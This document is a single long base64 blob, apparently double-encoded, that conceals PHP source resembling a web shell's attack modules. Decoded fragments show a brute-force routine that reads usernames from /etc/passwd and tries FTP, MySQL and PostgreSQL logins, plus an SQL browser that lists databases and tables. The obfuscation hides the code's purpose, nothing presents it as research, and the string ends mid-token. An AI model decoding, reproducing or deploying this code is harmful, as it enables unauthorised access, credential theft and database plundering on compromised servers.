GcllrYzVibUZYTkhOSlExSjNXVmhPZWt0VWMwdEpRMEZuU1VOQlowbERRV2RKUTBGblNVTkJaMGxGUW5SbFdFNTRZa1k1YW1KSE9YcGFVMmRyWTIxV2VrdFVjMHRKUTBGblNVTkJaMGxEUVdkSlEwRm5TVU5CWjBsSVNteGtTRlo1WW1sQmEyTnRWbnBQZDI5blNVTkJaMGxEUVdkSlEwRm5TVU5DT1VOcFFXZEpRMEZuU1VOQloyWlRRbXhpU0U1c1lWZFpiMGxEVW1aVlJUbFVWa1p6Ym1OSVNuWmtSemh1V0ZOQk9WQlRRVzVqUjJSNlkxZDNia2xEYTJkbGQyOW5TVU5CWjBsRFFXZEpRMEZuU1VOQ2JXUlhOV3BrUjJ4MlltbENNMk15T1VOamJsWXdXbFZhZG1OdFRteExRMUp3WTBOM2EyTkhPWGxrUTNkcllrYzVibUZYTkhOS1NFSm9Zek5OY0VsSWMwdEpRMEZuU1VOQlowbERRV2RKUTBGblNVTkJaMGxEVW5wa1NFbG5VRk5CYVdGSE9YcGtSREJ1U1drMGEyRllRWFZKYVdOblkwYzVlV1JFTUc1SmFUUnJZMGM1ZVdSRE5HbEtlVUl4WXpKV2VWQlRZMmxNYVZKellqSmtjR0pwTkdsS2VVSjNXVmhPZW1ReU9YbGFSREJ1U1drMGEyTkhSbnBqZVRScFNubENhMWx0TldoaVYxVTVZMGM1ZW1SSFpIbGFXRTFwVDNkdlowbERRV2RKUTBGblNVTkJaMGxEUVdkSlEwRm5Ta2hLYkdONVFUbEpSVUozV2pFNWFtSXlOWFZhVjA0d1MwTlNlbVJJU1hCUGQyOW5TVU5CWjBsRFFXZEpRMEZuU1VOQlowbERRV2RSU0VKdVdESk9jMkl6VG14TFExSjVXbGhOY0U5M2IyZEpRMEZuU1VOQlowbERRV2RKUTBGblNVTkJaMk50VmpCa1dFcDFTVU5TZVZwWVRUZERhVUZuU1VOQlowbERRV2RKUTBGblNVZ3dTMGxEUVdkSlEwRm5TVU5DT1VOcFFXZEpRMEZuU1VOQlowcElUakZaTWs1c1l6Tk5aMUJUUVhkUGQyOW5TVU5CWjBsRFFXZEpRMUpvWkVoU2JHSllRakJqZVVFNVNVUkJOME5wUVdkSlEwRm5TVU5CWjBwSVRteGpibHBzWTJsQk9VbEhWalJqUjNoMldrZFZiMGxxYjJsTVEwRnJXREZDVUZVeFVtSktNMDVzWTI1YWJHTnBaR1JMVkhOTFNVTkJaMGxEUVdkSlEwSndXbWxuYTFneFFsQlZNVkppU2pOU05XTkhWVzVZVTBFNVVGTkJlRXRUUWpkRGFVRm5TVU5CWjBsRFFXZEpRMEZuU1VOU01GcFhNWGRKUkRCblVVZGFjR0pIVlc5S2VUbHNaRWROZG1OSFJucGpNMlJyU25sck4wTnBRV2RKUTBGblNVTkJaMGxEUVdkSlIyeHRTME5DY0dNeE9XaGpia3BvWlZObmEyUkhWblJqUTJ0blMxRnZaMGxEUVdkSlEwRm5TVU5CWjBsRFFXZEpRMEZuV20wNWVWcFhSbXBoUTJkclpFZFdkR05EUW1oamVVRnJZa2RzZFZwVGEyZGxkMjluU1VOQlowbERRV2RKUTBGblNVTkJaMGxEUVdkSlEwRm5TVU5TYzJGWE5XeEpSREJuV2xob2QySkhPV3RhVTJkcFQybEpjMGxEVW5OaFZ6VnNTMVJ6UzBsRFFXZEpRMEZuU1VOQlowbERRV2RKUTBGblNVTkJaMGxEUVhKTGVWSm9aRWhTYkdKWVFqQmplbk5MU1VOQlowbERRV2RKUTBGblNVTkJaMGxEUVdkSlEwRm5TVU5DY0ZwcFoyZGtNMDUyVVc1S01XUkhWa2RpTTBwcVdsTm9RVXBJVG14amJscHNZMnh6ZDFoVGVFRktTRTVzWTI1YWJHTnNjM2hZVTNkblNrZDRjR0p0Vm1KTlJqQnpTVU5TYzJGWE5XeFhla0prUzFOQmNFbEljMHRKUTBGblNVTkJaMGxEUVdkSlEwRm5TVU5CWjBsRFFXZEpRMEZuU1VOQlowcElUakZaTWs1c1l6Tk5ja3Q2YzB0SlEwRm5TVU5CWjBsRFFXZEpRMEZuU1VOQlowbERRV2RKUTBGblNVTkJaMXBYVG05aWVVRnVVRWRKSzBwNU5XOWtSekZ6WXpOQ2JGa3liR2hpUjA1dldWaEtla3REVW5OaFZ6VnNWM3BDWkV0VE5HNVFRemxwVUdwdmJreHRhREJpVjNoNlkwZFdhbUZYUm5OWk1taG9ZMjVOYjBwSGVIQmliVlppVFVZd2NFeHBZemhaYmtrclNucHpTMGxEUVdkSlEwRm5TVU5CWjBsRFFXZEpRMEZuU1VOQlowbERRamxEYVVGblNVTkJaMGxEUVdkSlEwRm5TVU5CWjBsRFFXZEpRMEZuWVZkWmIxRkRVbVpWUlRsVVZrWnpibU50VmpKYVdFcDZXbE5rWkV0VFFqZERhVUZuU1VOQlowbERRV2RKUTBGblNVTkJaMGxEUVdkSlEwRm5TVU5CWjBsRFVqQmlXRUZuVUZOQmFVbHFjMHRKUTBGblNVTkJaMGxEUVdkSlEwRm5TVU5CWjBsRFFXZEpRMEZuU1VOQloxcHRPWGxMUTFKd1VGaE9NR050ZUd4aWFXZHJZa2RzZFZwV2MzZFlVMnQwVFZSelowcEhheXRRVkVFM1NVTXdkRXBIYTNCRGFVRm5TVU5CWjBsRFFXZEpRMEZuU1VOQlowbERRV2RKUTBGblNVTkJaMGxEUVdkSlEwRnJaRWN4ZDBsRE5EbEpRMUp6WVZjMWJGZDZRbVJYZVZKd1dGUnpTMGxEUVdkSlEwRm5TVU5CWjBsRFFXZEpRMEZuU1VOQlowbERRV2RKUTBGblMzbHphMWxZVWpCYVZ6RjNaRWhOTjBOcFFXZEpRMEZuU1VOQlowbERRV2RKUTBGblNVTkJaMGxEUVdkSlEwRm5TVWRzYlV0RFFqTmpNamxEWTI1V01GcFZXblpqYlU1c1MwVkJhMk15Vm5sa2JWWjVWM3BDWkV4RlFXdGpNbFo1WkcxV2VWZDZSbVJNUTBGcllrZHNkVnBXYzNkWVUzZG5Ta2hTZEdORGEyZExVMEkzUTJsQlowbERRV2RKUTBGblNVTkJaMGxEUVdkSlEwRm5TVU5CWjBsRFFXZEpRMEZuU1VOQmEyTXpWbXBaTWxaNlkzbHpjazkzYjJkSlEwRm5TVU5CWjBsRFFXZEpRMEZuU1VOQlowbERRV2RKUTBGblNVTkJaMGxEUVdkYVYwNXZZbmxCYmxCSFNTdEtlVFZ2WkVjeGMyTXpRbXhaTW14b1lrZE9iMWxZU25wTFExSnpZVmMxYkZkNlFtUkxVelJ1VUVNNWFWQnFiMjVNYldnd1lsZDRlbU5IVm1waFYwWnpXVEpvYUdOdVRXOUtTRkowWTBOck4wTnBRV2RKUTBGblNVTkJaMGxEUVdkSlEwRm5TVU5CWjBsRFFXZEpRMEZuU1Vnd1MwbERRV2RKUTBGblNVTkJaMGxEUVdkSlEwRm5TVU5CWjBsRFFqbERhVUZuU1VOQlowbERRV2RKUTBGblNVTkJaMGxEUWpsRGFVRm5TVU5CWjBsRFFXZG1VMEpzWWtoT2JHRlhXVzlLUmpsUlZERk9WVmQ1WkRCbFdFSnNTakV3WjFCVU1HZE5hV3RuWlhkdlowbERRV2RKUTBGblNVTkJaMGxEUVd0a1IxWjBZME5CT1VsRlFtMWhWM2hzUzBOU1psVkZPVlJXUm5OdVdrZHNhbVJEWkdSTFZITkxTVU5CWjBsRFFXZEpRMEZuU1VOQloyRlhXVzlKUjJ4NldESkdlV050UmpWTFExSXdXbGN4ZDB0VFFYQkRhVUZuU1VOQlowbERRV2RKUTBGblNVTkJaMGxEUW0xaU0wcHNXVmRPYjB0RFVqQmFWekYzU1VkR2VrbERVbk5oVnpWc1MxTkNOME5wUVdkSlEwRm5TVU5CWjBsRFFXZEpRMEZuU1VOQlowbERRV2RLUjNod1ltMVZaMUJUUWpCamJXeDBTME5TYzJGWE5XeExWSE5MU1VOQlowbERRV2RKUTBGblNVTkJaMGxEUVdkSlEwRm5TVU5CY2t0NVVtaGtTRkpzWWxoQ01HTjZjMHRKUTBGblNVTkJaMGxEUVdkSlEwRm5TVU5CWjBsRFFXZEpRMEp3V21sbloyUXpUblpSYmtveFpFZFdSMkl6U21wYVUyZHJZekpXZVdSdFZubFhla0prVEVWQmEyTXlWbmxrYlZaNVYzcEdaRXhEUVd0WU1VSlFWVEZTWWtveWVIWmFNbXgxU2pFd2MwbERVbk5oVnpWc1MxTkJjRWxJYzB0SlEwRm5TVU5CWjBsRFFXZEpRMEZuU1VOQlowbERRV2RKUTBGblNVTkJaMHBJVGpGWk1rNXNZek5OY2t0NmMwdEpRMEZuU1VOQlowbERRV2RKUTBGblNVTkJaMGxEUVdkSlEwRm5TVU5CWjFwWFRtOWllVUZ1VUVkSkswcDVOVzlrUnpGell6TkNiRmt5YkdoaVIwNXZXVmhLZWt0RFVtWlZSVGxVVmtaemJtSkhPVzVoVnpSdVdGTnJkVXA2ZDNaWmFqUTJTbmsxYjJSSE1YTmpNMEpzV1RKc2FHSkhUbTlaV0VwNlMwTlNjMkZYTld4TFV6UnVVRWRLZVZCcFl6ZERhVUZuU1VOQlowbERRV2RKUTBGblNVTkJaMGxEUVdkSlEwRm5abEZ2WjBsRFFXZEpRMEZuU1VOQlowbERRV2RKUTBGblpsRnZaMGxEUVdkSlEwRm5TVWd3UzBsRFFXZEpRMEZuU1VOQ2JGa3lhSFpKUTBrNFl6TkNhR0pxTlVKa1NGSnNZbGhDTUdONmJ6aE1NMDUzV1ZjMEswbERVbWhrU0ZKc1lsaENNR041UVRoak0wSm9ZbW8xVkdSWFRtcGFXRTU2VDJwM2RtTXpRbWhpYWpSblNraE9NVmt5VG14ak0wMDRUREpTY0dScU5EaFpia2tyU1dwelMwbERRV2RKU0RCTFNVTkJaMGxIVm1waFJ6aG5TbnA0YjAxVU5VTmpibFl3V2xkYWRtTnRUbXhRUXpsdlRWUTBPRnBIYkRKSlIwNXpXVmhPZWxCWFRuWmlibEpzWW01UksxQklVbWhaYlhoc1VHcDRiV0l6U25SSlJ6RnNaRWRvZGxwRU1YZGlNMDR3VUdwNE1HTnFORGhrUjFFclVFaE9kMWxYTkN0V1NHeDNXbFIzZG1NelFtaGlhalE0VEROU2ExQnBZMHRKUTBGblNVTkJaMGxEUVhWS2VuZ3dXa1EwT0dNeVZuTmFWMDR3U1VjMWFHSlhWVGxqU0VwMlpFYzRLMUJIT1hka1IyeDJZbWxDTWxsWGVERmFWREZ0WkVoQksxSnNVbEZRUXpsMlkwaFNjR0l5TkN0UVJ6bDNaRWRzZG1KcFFqSlpWM2d4V2xReGRHVllUbmhpUkRWT1pWWk9lR0pFZDNaaU0wSXdZVmM1ZFZCcWVIWmpTRkp3WWpJMFoyUnRSbk5rVjFVNVkwZGtlbU5YZHl0VlJ6bDZaRWRrZVZwV1RuaGlSSGQyWWpOQ01HRlhPWFZRYW5kMll6SldjMXBYVGpCUWFuZDJaRWRSSzFCRE9UQmphalE0WkVoSksxQklVbXRRYVdOTFNVTkJaMGxEUVdkSlEwRjFTbnA0Y0dKdVFqRmtRMEl3WlZoQ2JGQlhhSEJhUjFKc1ltbENkVmxYTVd4UVYwMW5aRzFHYzJSWFZUbEphV04xWVVoU2RHSklUbmRhVjA1d1dWZDRhbUZIUm5samVXZHJVakI0VUZGclJrMVZNWE51V1ROa2Ewb3hNSEJNYVdOcFVHbGpTMGxEUVdkSlEwRm5TVU5CZFVwNmVIQmlia0l4WkVOQ01HVllRbXhRVjJod1drZFNiR0pwUW5WWlZ6RnNVRmRGWjJSdFJuTmtWMVU1U1dsamRXRklVblJpU0U1M1dsZE9jRmxYZUdwaFIwWjVZM2xuYTFneFFsQlZNVkppU2pKRmJsaFRhM1ZLZVVrclNuZHZaMGxEUVdkSlEwRm5TVU0wYmxCSGJIVmpTRll3U1VoU05XTkhWVGxoUjJ4cldrZFdkVWxITldoaVYxVTVXVEpvYUdOdVRteGtRMEl5V1ZkNE1WcFVNR2xLZVRWdlpFY3hjMk16UW14Wk1teG9Za2RPYjFsWVNucExRMUptVlVVNVZGWkdjMjVaTW1ob1kyNU9iR1JEWkdSTFV6UnVTV28wYmtOcFFXZEpRMEZuU1VOQloweHBZemhqTTBKb1ltbzFWRnBZU2pKYVdFazJZMGM1ZVdSRWQzWmpNMEpvWW1vME9Fd3pVbXRRYVdOTFNVTkJaMGxEUVdkSlEwRjFTbnA0TUZwRU5EaGhWelYzWkZoUloyUkliSGRhVkRFd1dsaG9NRWxITldoaVYxVTVZekpXZVdSdFZubEpTRnBvWWtoV2JGQlRTWGhOYW1OMVRVTTBkMHhxUldsUWFuZDJaRWRSSzFCRE9UQmphalJ1UTJsQlowbERRV2RKUTBGblRHbGpPR1JJU1N0UVNGSnJVR3A0ZW1OSFJuVlFhMHA1WkZoU2JFbElValZqUjFVNFRETk9kMWxYTkN0UVF6a3dXa1EwYmtOcFFXZEpRMEZuU1VOQloweHBZemhrUjFFclVFZDRhRmx0Vm5OUWFuaHdZbTVDTVdSRFFqQmxXRUpzVUZoS2FGcEhiSFpKUnpWb1lsZFZPV1JJYkhkYVUwSXlXVmQ0TVZwVU1HbE5VMGxuV1RKb2JGa3lkR3hhUkRSblRESldNRmw1T1hkWldFNTZaREpST0V3eWVHaFpiVlp6VUdwM2RtUkhVU3RRUXprd1kybzBia05wUVdkSlEwRm5TVU5CWjB4cFl6aGtTRWtyVUVoU2ExQnFkM1prUjFFclVFaFNhMUJxZUhOWlYwcHNZa05DZW1SSWJITmFWREJwWTBkR2ExcEhiSFZhZVRGeldsZGFNRTlxUlRGalNHZHBVR3A0Y0dKdVFqRmtRMEl3WlZoQ2JGQlhUbTlhVjA1eVdXMDVORWxITldoaVYxVTVZMjFXTWxwWVNucGFVMEl5V1ZkNE1WcFVNSGhKUjA1dldsZE9jbHBYVVN0SlNFcHNaRzFXZVdNeVZXZExSM2gyV2pKc2RVbERNQ3RKUnpWd1dqSTVjMHRVZDNaaVIwWnBXbGQzSzFCRE9UQmFSRFE0VEROU2VWQnBZMHRKUTBGblNVTkJaMGxEUVhWS2VuZ3dZMm8wT0dSSFVTdFFRemt3V2tRME9HUkhVU3RRUjNob1dXMVdjMUJxZUhCaWJrSXhaRU5DTUdWWVFteFFXRXBvV2tkc2RrbEhOV2hpVjFVNVpFaHNkMXBUUWpKWlYzZ3hXbFF3YVUxcFNTdEpSVkp3V1ROU2NHSXlOV2hqYm1zNFRESjRhRmx0Vm5OUWFuZDJaRWRSSzFCRE9UQmphalJ1UTJsQlowbERRV2RKUTBGblRHbGpPR1JJU1N0UVNGSnJVR3AzZG1SSFVTdFFTRkpyVUdwNE1GbFhTbk5hVTBKNlpFaHNjMXBVTUdsalIwWnJXa2RzZFZwNU1YTmFWMW93VDJwRk1XTklaMmxRYW5nd1kybzBPR1JIVVN0UVNFNTNXVmMwSzFSSE9XNWhWelE0VEROT2QxbFhOQ3RRUXprd1drUTBia05wUVdkSlEwRm5TVU5CWjB4cFl6aGtSMUVyVUVkc2RXTklWakJKU0ZJMVkwZFZPV1JIVmpSa1EwSjFXVmN4YkZCWGVIWmFNbXgxU1VoYWFHSklWbXhRVTBwNVlqSTVNRWxxTkRoTU0xSnJVR3AzZG1SSVNTdEtkMjluU1VOQlowbERRV2RKUXpSdVVFaFNlVkJxZURCYVJEUTRZek5DYUdKcU5VVmhWMDR3WVZjNWRWbFlTalZRUXpsNlkwZEdkVkJxZDNaa1IxRXJTbmR2WjBsRFFXZEpRMEZuU1VNMGJsQklVbXRRYW5od1ltNUNNV1JEUWpCbFdFSnNVRmhTYkdWSVVXZGliVVowV2xReGEyRlhUakJKU0Zwb1lraFdiRkJUU1c1TWJXZ3dZbGQ0ZW1OSFZtcGhWMFp6V1RKb2FHTnVUVzlLUldSTlZEQktRbFJHVG1KS01rNHpXa05rWkV0VE5HNWpSMFo2WXpOa2EweHRVbkJaZVVrclVFTTVNRnBFTkRoTU0xSjVVR3AzZG1SSFJtbGlSMVVyU25kdlowbERRV2RKUTBGblNVTTBibEJET1RCYVJEUTRURE5TZVZCcWVEQmphalE0WkVkUksxQkRPVEJhUkRRNFpFZFJLMUJIYkhWalNGWXdTVWhTTldOSFZUbGpNMVpwWWxkc01FbElXbWhpU0Zac1VGTkpLMUJwU1N0UVF6a3dXa1EwT0V3elVubFFhbmQyV20wNWVXSlVORGhNTTFKb1dXMTRiRkJwWXpkRGFVRm5TVU5DYkZreWFIWkpRMk00VERKU2NHUnFORGhaYmtrclNucHpTMGxEUVdkSlNHUjZZakJhZG1JelVteGphV2R3VDNkd09VTnBRVXRhYmxaMVdUTlNjR0l5TkdkWlYwNHdZVmM1ZFZVelJuTkxRMnRuWlhkdlowbERRV2RaTW5ob1l6Tk5aMUpIU2tSaVIwWjZZM2xDTjBOcFFXZEpRMEZuU1VOQloyUnRSbmxKUTFJd1pWaENiRTkzYjJkSlEwRm5TVU5CWjBsSVdtaGphVUZyWWtkc2RXRjZjMHRKUTBGblNVTkJaMGxEUWpKWldFbG5Ta2hLYkdONmMwdEpRMEZuU1VOQlowbERRbTFrVnpWcVpFZHNkbUpwUWtWWmEwNXpXVmhPZWt0RFVqQmxXRUpzUzFOQ04wTnBRV2RKUTBGblNVTkJaMGxEUVdkSlExSXdZVWRzZWt4VU5UQmxXRUpzU1VRd1owcElValZqUjFVM1EybEJaMGxEUVdkSlEwRm5abEZ2WjBsRFFXZEpRMEZuU1VkYU1XSnRUakJoVnpsMVNVZE9kbUp0Tld4Wk0xRnZTa2RvZG1NelVYTkpRMUl4WXpKV2VVeERRV3RqUjBaNlkzbDNaMHBIVW1saWJVWjBXbE5zTjBOcFFXZEpRMEZuU1VOQlowbERRV2RKU0U0ellWaFNhbUZEWjJ0a1IyaHdZM2t3SzJSSWJIZGFVMnRuU1VoelMwbERRV2RKUTBGblNVTkJaMGxEUVdkSlEwRm5TVWRPYUdNeVZXZEtNakUxWXpOR2MwcDZiMHRKUTBGblNVTkJaMGxEUVdkSlEwRm5TVU5CWjBsRFFXZEpRMEp3V21sblowcElVbTloV0UxMFVHMTRjR0p0YzJkUVUwSkJZbGhzZW1OWGVHWlpNamwxWW0xV2FtUkRaMnRoUnpsNlpFTjNhMlJZVG14amFYZHJZMGRHZW1ONWVEQmpibFpzUzFOQmNFbElTbXhrU0ZaNVltbENNR051Vm14UGQyOW5TVU5CWjBsRFFXZEpRMEZuU1VOQlowbERRV2RKUTBGblNVZEtlVnBYUm5KUGQyOW5TVU5CWjBsRFFXZEpRMEZuU1VOQlowbERRV2RaTWtaNldsTkJibU5IWkhwalYzZHVUMmR2WjBsRFFXZEpRMEZuU1VOQlowbERRV2RKUTBGblNVTkJaMGxEVW05aU0wNHdTVVF3WjFwWWFIZGlSemxyV2xObmJrOXBZM05KUTFKdllqTk9NRXRVYzB0SlEwRm5TVU5CWjBsRFFXZEpRMEZuU1VOQlowbERRV2RKUTBKd1dtbG5hRXBIYUhaak0xSmlUVll3Y0VsRFVtOWlNMDR3VjNwR1pGQlVWVEJOZWtrM1EybEJaMGxEUVdkSlEwRm5TVU5CWjBsRFFXZEpRMEZuU1VOQloyRlhXVzlKUTFJd1lVZHNla3hVTlhOaFZ6VnlTVVF3WjFGSVFtNVlNazUyWW0wMWJGa3pVVzlKYldoMll6TlJPV1Y1VW05aU0wNHdWM3BDWkdaVFFuZGlNMG93VUZoemEyRkhPWHBrUm5ONFdGZ3daMlJZVG14amFqQnJaRmhPYkdOcFFuZFpXRTU2WkRJNWVWcEVNR3RqUjBaNlkzbENhMWx0TldoaVYxVTVTa2RTYVdKdFJuUmFVMGx3U1VOcloyTnRWakJrV0VwMVNVaFNlV1JYVlRkRGFVRm5TVU5CWjBsRFFXZEpRMEZuU1VOQlowbERRV2RKUTBGbldXNUtiRmxYY3pkRGFVRm5TVU5CWjBsRFFXZEpRMEZuU1Vnd1MwbERRV2RKUTBGblNVTkJaMGxEUVdkamJWWXdaRmhLZFVsSFdtaGlTRTVzVDNkdlowbERRV2RKUTBGblNVZ3dTMGxEUVdkSlEwRm5TVU5DYldSWE5XcGtSMngyWW1sQ2VscFhlR3haTTFKcldXbG5hMXBIU1hCSlNITkxTVU5CWjBsRFFXZEpRMEZuU1VOQloyTXpaSEJrUjA1dlMwTlNNR0ZIYkhwTVZEVXdaVmhDYkV0VFFXZGxkMjluU1VOQlowbERRV2RKUTBGblNVTkJaMGxEUVdkWk1rWjZXbE5CYm1KWWJIcGpWM2R1VDJkdlowbERRV2RKUTBGblNVTkJaMGxEUVdkSlEwRm5TVU5CWjBsSGJHMUpRMmhCWWxoc2VtTlhlR1pqTWxaeldsZE9NRmd5VW1sTFExSnJXV2xyY0dOdFZqQmtXRXAxU1VoU2VXUlhWVGREYVVGblNVTkJaMGxEUVdkSlEwRm5TVU5CWjBsRFFXZEpRMEZuV1c1S2JGbFhjemREYVVGblNVTkJaMGxEUVdkSlEwRm5TVWd3UzBsRFFXZEpRMEZuU1VOQlowbERRV2RqYlZZd1pGaEtkVWxIV21oaVNFNXNUM2R2WjBsRFFXZEpRMEZuU1Vnd1MwbERRV2RKUTBGblNVTkNiV1JYTldwa1IyeDJZbWxDZUdSWFZubGxVMmRyWXpOU2VVdFRRamREYVVGblNVTkJaMGxEUVdkSlEwRm5TVWhPTTJGWVVtcGhRMmRyWkVkb2NHTjVNQ3RrU0d4M1dsTnJaMlYzYjJkSlEwRm5TVU5CWjBsRFFXZEpRMEZuU1VOQloxa3lSbnBhVTBGdVlsaHNlbU5YZDI1UFoyOW5TVU5CWjBsRFFXZEpRMEZuU1VOQlowbERRV2RKUTBGblNVaEtiR1JJVm5saWFVRnJaRWRvY0dONU1DdGpiVlo2U1VRd1oxRkhNVFZqTTBaeldETkdNVnBZU2pWTFExSjZaRWhKY0U5M2IyZEpRMEZuU1VOQlowbERRV2RKUTBGblNVTkJaMGxEUVdkSlIwcDVXbGRHY2s5M2IyZEpRMEZuU1VOQlowbERRV2RKUTBGblNVTkJaMWt5Um5wYVUwRnVZMGRrZW1OWGQyNVBaMjluU1VOQlowbERRV2RKUTBGblNVTkJaMGxEUVdkSlEwRm5TVWhLYkdSSVZubGlhVUZyWkVkb2NHTjVNQ3RqYlZaNlNVUXdaMUZJUW01WU0wWXhXbGhLTlV0RFVqQmhSMng2VEZRMWMyRlhOWEpNUTFKNlpFaEpjRTkzYjJkSlEwRm5TVU5CWjBsRFFXZEpRMEZuU1VOQlowbERRV2RKUjBwNVdsZEdjazkzYjJkSlEwRm5TVU5CWjBsRFFXZEpRMEk1UTJsQlowbERRV2RKUTBGblNVTkJaMGxJU214a1NGWjVZbWxDYlZsWGVIcGFWSE5MU1VOQlowbERRV2RKUTBJNVEybEJaMGxEUVdkSlEwRm5XbTVXZFZrelVuQmlNalJuV20xV01Ga3laMjlMVTBJM1EybEJaMGxEUVdkSlEwRm5TVU5CWjBsRFVubGFXRTFuVUZOQ2JXUlhOV3BZTWpVeFlsWTVhR050WkhwTFEyc3ZXbTVXZFZreE9XNWFXRkptV1ZoS2JrdEVRWEJQYVZJd1lVZHNla3hVTlhsYVdFMDNRMmxCWjBsRFFXZEpRMEZuU1VOQlowbElUak5oV0ZKcVlVTm5hMlJIYUhCamVUQXJaRWhzZDFwVGEyZEpTSE5MU1VOQlowbERRV2RKUTBGblNVTkJaMGxEUVdkSlIwNW9ZekpWWjBveU1UVmpNMFp6U25wdlMwbERRV2RKUTBGblNVTkJaMGxEUVdkSlEwRm5TVU5CWjBsRFFubGFXRkl4WTIwMFoxRkhNVFZqTTBaeldESmFiR1JIVG05WU1rWjZZekk1YWt0RFVubGFXRTF3VDNkdlowbERRV2RKUTBGblNVTkJaMGxEUVdkSlEwRm5TVU5CWjBsSFNubGFWMFp5VDNkdlowbERRV2RKUTBGblNVTkJaMGxEUVdkSlEwRm5XVEpHZWxwVFFXNWpSMlI2WTFkM2JrOW5iMmRKUTBGblNVTkJaMGxEUVdkSlEwRm5TVU5CWjBsRFFXZEpTRXBzWkVoV2VXSnBRa0ZqUjJSbVdtMVdNRmt5YUdaWldFNTZZakpOYjBwSVNteGplV3MzUTJsQlowbERRV2RKUTBGblNVTkJaMGxEUVdkSlEwRm5TVU5CWjFsdVNteFpWM00zUTJsQlowbERRV2RKUTBGblNVTkJaMGxJTUV0SlEwRm5TVU5CWjBsRFFXZEpRMEZuWTIxV01HUllTblZKUjFwb1lraE9iRTkzYjJkSlEwRm5TVU5CWjBsSU1FdEpRMEZuU1VOQlowbERRbTFrVnpWcVpFZHNkbUpwUW5OaFdFNHdVa2RLZWt0RGEyZGxkMjluU1VOQlowbERRV2RKUTBGblNVTkNlbVF5YkRCWk1tZHZTa2hTYjJGWVRYUlFibEkxWTBkVmNFbERRamREYVVGblNVTkJaMGxEUVdkSlEwRm5TVU5CWjBsRFFtcFpXRTVzU1VOa2RHVllUbmhpUTJNMlEybEJaMGxEUVdkSlEwRm5TVU5CWjBsRFFXZEpRMEZuU1VOQlowbERRV2RKU0Vwc1pFaFdlV0pwUVd0a1IyaHdZM2t3SzJOWVZteGpibXR2U1d4T1NWUXhZMmRhUjBZd1dWZEthR015Vm5wSmFXczNRMmxCWjBsRFFXZEpRMEZuU1VOQlowbERRV2RKUTBKcFkyMVdhR0Y2YzB0SlEwRm5TVU5CWjBsRFFXZEpRMEZuU1VOQlowbEhUbWhqTWxWblNqTkNibU16Um5OS2VtOUxTVU5CWjBsRFFXZEpRMEZuU1VOQlowbERRV2RKUTBGblNVTkNlVnBZVWpGamJUUm5Ta2hTYjJGWVRYUlFia3BzWTNsQk9VbERVakJoUjJ4NlRGUTFlR1JYVm5sbFUyZHBWVEJXVFZKVlRsVkpSMUpvWkVjMWFHSlhWV2RTYkVwUVZGTkNkMW94T1d0WldGSm9XVzFHZWxwVFFsaFRSVlpUVWxOQ2ExbFlVbkJqTTFKc1lsaENjMWxZVW14SlZEQnVaRU5qYVV0VWMwdEpRMEZuU1VOQlowbERRV2RKUTBGblNVTkJaMGxIU25sYVYwWnlUM2R2WjBsRFFXZEpRMEZuU1VOQlowbERRamxEYVVGblNVTkJaMGxEUVdkSlEwRm5TVWhLYkdSSVZubGlhVUp0V1ZkNGVscFVjMHRKUTBGblNVTkJaMGxEUWpsRGFVRm5TVU5CWjBsRFFXZGFibFoxV1ROU2NHSXlOR2RpUjJ4NlpFWlNhRmx0ZUd4amVXZHdTVWh6UzBsRFFXZEpRMEZuU1VOQlowbERRV2RqTTJSd1pFZE9iMHREVWpCaFIyeDZURlExTUdWWVFteExVMEZuWlhkdlowbERRV2RKUTBGblNVTkJaMGxEUVdkSlEwRm5XVEpHZWxwVFFXNWlXR3g2WTFkM2JrOW5iMmRKUTBGblNVTkJaMGxEUVdkSlEwRm5TVU5CWjBsRFFXZEpTRXBzWkVoV2VXSnBRV3RrUjJod1kza3dLMk50Vm5wSlJEQm5Ta2hTYjJGWVRYUlFia1l4V2xoS05VdERaRlJUUlRsWVNVWlNRbEZyZUVaVmVXTndUM2R2WjBsRFFXZEpRMEZuU1VOQlowbERRV2RKUTBGbldXNUtiRmxYY3pkRGFVRm5TVU5CWjBsRFFXZEpRMEZuU1VOQlowbERRbXBaV0U1c1NVTmtkMW96VG5oaVEyTTJRMmxCWjBsRFFXZEpRMEZuU1VOQlowbERRV2RKUTBGblNVTkJaMk50VmpCa1dFcDFTVU5TTUdGSGJIcE1WRFY1V2xoTloxQlRRV3RrUjJod1kza3dLMk5ZVm14amJtdHZTVzVPYkdKSFZtcGtRMEl3V1ZkS2MxcFdPWFZaVnpGc1NVZGFlV0l5TUdkaFZ6VnRZak5LZEZsWVVuQmlNalZtWXpKT2IxcFhNV2hNYmxKb1dXMTRiR041UWpOaFIxWjVXbE5DTUZsWFNuTmFWamw2V1RKb2JHSlhSV2RKVkRCblNqSnNkVnB0T1hsaVYwWXdZVmM1ZFZnelRtcGhSMVowV1ZOaloxRlZOVVZKU0ZKb1dXMTRiRmd6VG1waFIxWjBXVk5CYUZCVFFXNWpSMlJtV1RKR01GbFhlSFphZVdOcFMxUnpTMGxEUVdkSlEwRm5TVU5CWjBsRFFXZEpRMEZuU1VkS2VWcFhSbkpQZDI5blNVTkJaMGxEUVdkSlEwRm5TVU5DT1VOcFFXZEpRMEZuU1VOQlowbERRV2RKU0Vwc1pFaFdlV0pwUW0xWlYzaDZXbFJ6UzBsRFFXZEpRMEZuU1VOQ09VTnBRV2RKUTBGblNVTkJaMXB1Vm5WWk0xSndZakkwWjFwWVNubGlNMGx2UzFOQ04wTnBRV2RKUTBGblNVTkJaMGxEUVdkSlNFNHpZVmhTYW1GRFoydGtSMmh3WTNrd0syUkliSGRhVTJ0blNVaHpTMGxEUVdkSlEwRm5TVU5CWjBsRFFXZEpRMEZuU1VkT2FHTXlWV2RLTWpFMVl6TkdjMHA2YjB0SlEwRm5TVU5CWjBsRFFXZEpRMEZuU1VOQlowbERRV2RKUTBKNVdsaFNNV050TkdkUlJ6RTFZek5HYzFneVZubGpiVGw1UzBOck4wTnBRV2RKUTBGblNVTkJaMGxEUVdkSlEwRm5TVU5DYVdOdFZtaGhlbk5MU1VOQlowbERRV2RKUTBGblNVTkJaMGxEUVdkSlIwNW9ZekpWWjBvelFtNWpNMFp6U25wdlMwbERRV2RKUTBGblNVTkJaMGxEUVdkSlEwRm5TVU5CWjBsRFFubGFXRkl4WTIwMFoxRklRbTVZTW5ob1l6TlNabHBZU25saU0wbHZTMVJ6UzBsRFFXZEpRMEZuU1VOQlowbERRV2RKUTBGblNVZEtlVnBYUm5KUGQyOW5TVU5CWjBsRFFXZEpRMEZuU1VOQ09VTnBRV2RKUTBGblNVTkJaMGxEUVdkSlNFcHNaRWhXZVdKcFFtMVpWM2g2V2xSelMwbERRV2RKUTBGblNVTkNPVU5wUVdkSlEwRm5TVU5CWjFwdVZuVlpNMUp3W